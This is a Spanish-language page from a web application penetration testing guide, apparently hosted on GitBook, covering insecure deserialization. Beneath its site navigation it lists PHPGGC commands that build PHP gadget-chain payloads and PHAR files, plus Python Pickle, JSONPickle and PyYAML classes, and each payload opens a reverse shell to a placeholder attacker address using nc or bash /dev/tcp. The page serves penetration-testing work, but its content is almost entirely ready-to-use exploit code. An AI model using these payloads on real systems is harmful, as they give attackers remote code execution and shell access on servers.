🟢
Web Application Penetration Testing
  • Inicio
  • General
    • Metodologías y estándares
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
  • Escaneo y enumeración
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Parámetros
        • GET
        • POST
      • Wordlists
    • Compresión y ofuscación
    • Herramientas automatizadas
  • Explotación
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticación y autorización
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnología de GitBook
En esta página
  • PHP
  • Herramientas
  • Python
  • Pickle
  • JSONPickle
  • PyYAML
  • Herramientas

¿Te fue útil?

  1. Explotación

Deserialization

AnteriorWebsocketSiguienteFlash

Última actualización hace 25 días

¿Te fue útil?

PHP

Herramientas

PHPGGC

Listar gadget chains disponibles.

phpggc -l
phpggc -l <framework>

Generar un payload utilizando un gadget chains específico.

phpggc <gadget-chain> system "nc -nv <attacker-IP-address> <listen-port> -e /bin/bash" -b
phpggc <gadget-chain> system "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -b
phpggc <gadget-chain> exec "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -b
phpggc <gadget-chain> shell_exec "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -b
phpggc <gadget-chain> passthru "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -b

Generar un archivo PHAR utilizando un gadget chains específico.

phpggc -p phar <gadget-chain> system "nc -nv <attacker-IP-address> <listen-port> -e /bin/bash" -o file.phar
phpggc -p phar <gadget-chain> system "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -o file.phar
phpggc -p phar <gadget-chain> exec "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -o file.phar
phpggc -p phar <gadget-chain> shell_exec "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -o file.phar
phpggc -p phar <gadget-chain> passthru "bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" -o file.phar
http://example.com/?file=uploads/file.txt
http://example.com/?file=phar://uploads/file.phar

Python

Pickle

import base64, pickle, os

class RCE:
	def __reduce__(self):
		payload = "nc -nv <attacker-IP-address> <listen-port> -e /bin/bash"
		return os.system, (payload,)

print(base64.b64encode(pickle.dumps(RCE())).decode())

JSONPickle

import jsonpickle, os

class RCE:
	def __reduce__(self):
		payload = "nc -nv <attacker-IP-address> <listen-port> -e /bin/bash"
		return os.system, (payload,)

print(jsonpickle.encode(RCE()))

PyYAML

import yaml, subprocess

class RCE:
	def __reduce__(self):
		return subprocess.Popen(["nc", "-nv", "<attacker-IP-address>", "<listen-port>", "-e", "/bin/bash"])

print(yaml.dump(RCE()))

Herramientas

PEAS

https://github.com/ambionics/phpggc
https://github.com/j0lt-github/python-deserialization-attack-payload-generator